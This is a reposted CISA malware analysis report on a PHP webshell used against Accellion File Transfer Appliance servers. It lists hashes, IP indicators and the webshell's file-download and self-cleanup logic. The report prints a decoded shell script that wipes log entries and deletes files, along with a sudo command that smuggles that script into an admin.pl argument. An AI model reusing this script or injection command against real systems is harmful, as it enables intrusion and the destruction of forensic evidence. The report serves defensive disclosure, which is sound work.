This article is contributed. See the original author and article here.
Notification
This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.
This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.
Summary
Description
This Malware Analysis Report (MAR) analyzes a malicious Hypertext Preprocessor (PHP) webshell file submitted to CISA for analysis. The webshell is designed to be uploaded to an Accellion File Transfer Appliance (FTA) server, a secure file transfer application used by customers to send large files. The webshell leverages a Structured Query Language (SQL) injection vulnerability to install itself onto the impacted FTA server. The webshell provides threat actors with the ability to locate files, obtain file metadata, and download files stored on the Accellion FTA server.
This webshell has been used in recent cyberattacks targeting users of Accellion FTA. For more information on these attacks, refer to Joint Cybersecurity Advisory AA21-055A.
For a downloadable copy of IOCs, see: MAR-10325064-1.v1.stix.
Submitted Files (1)
2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 (about.html)
IPs (9)
155.94.160.40
192.52.167.101
194.88.104.24
197.156.107.83
209.163.151.232
209.58.189.165
45.135.229.179
79.141.162.82
92.38.135.29
Findings
2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7
Tags
webshell
Details
Name | about.html |
---|---|
Size | 3202 bytes |
Type | PHP script, ASCII text, with very long lines |
MD5 | bdfd11b1b092b7c61ce5f02ffc5ad55a |
SHA1 | 9bbaf89be60a5c455ae5b14cbead82fce22f3b66 |
SHA256 | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |
SHA512 | 8e9e1fd5d1798b519bb477050b0e817be7523b92715958446d4133f97923a1a6dc726c7d7009da6ecd3bf674e88ae428a45300cbe8f4b3628470cf203a46a1b6 |
ssdeep | 96:jh58DD+hpmEr4YkPdvrf50ZPbAmLkysSJBLUNf++m:GahpmErBmZrfKVsrysSJBz |
Entropy | 5.641443 |
Antivirus
No matches found.
YARA Rules
No matches found.
ssdeep Matches
No matches found.
Relationships
2e0df09fa3… | Related_To | 209.58.189.165 |
2e0df09fa3… | Related_To | 197.156.107.83 |
2e0df09fa3… | Related_To | 194.88.104.24 |
2e0df09fa3… | Related_To | 45.135.229.179 |
2e0df09fa3… | Related_To | 92.38.135.29 |
2e0df09fa3… | Related_To | 155.94.160.40 |
2e0df09fa3… | Related_To | 209.163.151.232 |
2e0df09fa3… | Related_To | 79.141.162.82 |
2e0df09fa3… | Related_To | 192.52.167.101 |
Description
The file, about.html, is a malicious Hypertext Preprocessor (PHP) webshell which leverages a SQL injection vulnerability to install itself onto the compromised Accellion FTA server. When the webshell is successfully installed, it provides threat actors the ability to download files stored on the FTA server.
Analysis indicates that the FTA server was compromised, which allows the threat actor the ability to craft an HTTP request directly to the webshell with commands that will be executed as if the threat actor had local (shell) access to the FTA server.
When executed on the compromised FTA server, the webshell will attempt to check if the HTTP request accessing this resource includes the parameters, “dwn” and “fn” (Figure 2). If the two parameters are available in the HTTP request, then the webshell will use the decrypt function to decrypt the contents of the original “dwn” parameter and store it in the value named “$path”. It conducts the same process on the “fn” parameter and stores the value in the variable named “$fname”. The webshell checks if the file located at “$path” exists on the compromised FTA server. If the file exits, then the “$path” and “$fname” variables are used to call the readfile function to read and download the contents of the targeted file.
Note: The encrypt and decrypt functions are undefined in the webshell, it’s possible that both functions are included in either one or two of the files referenced by the webshell, “function.inc” and “remote.inc”.
The file checks if the HTTP request has the parameter “csrftoken” and the parameter has the value “11454bd782bb41db213d415e10a0fb3c” (Figure 3). If so, the webshell will use the clean_up function to delete itself from the victim’s system.
The clean_up function contains another function, file_put_contents. This function is used by the webshell to create the file “/tmp/.scr” and decode an encoded base64 string contained in the file (Figure 4).
Displayed below are the contents within the decoded base64 encoded string:
–Begin decoded contents within the base64 encoded string–
#!/bin/sh
for log in `ls /var/opt/apache/*log*`;do cat $log 2>/dev/null | grep -v ‘about.html’ > /tmp/x;mv /tmp/x $log;rm -rf /tmp/x;done
echo -n > /home/seos/log/adminpl.log;
rm -rf /home/httpd/html/about.html > /tmp/.out
rm -rfv /home/httpd/html/oauth.api > /tmp/.out
chmod 777 /tmp/.out
chown nobody:nobody /tmp/.out
echo > /var/log/secure
–End decoded contents within the base64 encoded string–
The decoded content “/tmp/.scr” is a script file used by the webshell to evade detection and analysis. The script file is designed to iterate through all logs in “/var/opt/apache/*log*” on the victim’s system and return all the results not pertaining to about.html and store them in “/tmp/x”. This file is used to replace the original log file before removing the file “/tmp/x” from the victim’s system. This will results in Apache logs that have been sterilized for references to about.html and hinders log analysis capabilities.
The script file will attempt to remove “/home.seos/courier/about.html” and “/home/seos/courier/oauth.api” from the victim’s system. Once these files are removed, it will redirects standard output to “/tmp/.out” before modifying its ownership and permissions making it more difficult to recover and analyze.
The script file is executed by invoking the Perl System function, which is used for executing arbitrary Unix commands on a system. The “admin.pl” is used to execute the script file.
Displayed below is the command used to execute the script file:
–Begin command–
@system(‘sudo /usr/local/bin/admin.pl –mount_cifs=AF,DF,”‘$(sh /tmp/.scr)'”,PASSWORD 1>/dev/null 2>/dev/null’);
–End command–
The script file “/tmp/.scr” and “/tmp/.out” will later be unlinked and deleted from the victim’s system.
If the HTTP request does not match the parameters for downloading file contents (Figure 2) or performing the cleanup process (Figure 3), then the webshell expects to receive an application ID from the parameter aid obtained from the HTTP request (Figure 5). This application ID is used to open the associated database and execute a SQL command against it (Figure 6).
The cleanup mechanism is invoked to remove the webshell from the system and Apache logs only if the webshell returns no results from the SQL query executed on the victim’s system. If the webshell returns results from the SQL query executed on the victim’s system, then the results are returned to the webshell in a table (Figure 1). This technique allows the threat actor to manually download file contents or initiate the cleanup process by clicking on their respective links.
Displayed below are Indicators of Compromise (IOCs) related to this malicious webshell:
–Begin file system artifacts contained in the webshell–
/home/seos/courier/about.html
/tmp/.scr
/tmp/.out
–End file system artifacts contained in the webshell–
–Begin IP addresses–
209.58.189.165
197.156.107.83
194.88.104.24
45.135.229.179
92.38.135.29
155.94.160.40
209.163.151.232
79.141.162.82
192.52.167.101
–End IP addresses–
The URIs contains the following parameters (Figure 2&5):
–Begin URIs parameters–
dwn
fn
aid
–End URIs parameters–
URIs contains the following parameter and its corresponding value (Figure 3):
–Begin URIs parameter and value–
parameter: csrftoken
value: 11454bd782bb41db213d415e10a0fb3c
–End URIs parameter and value–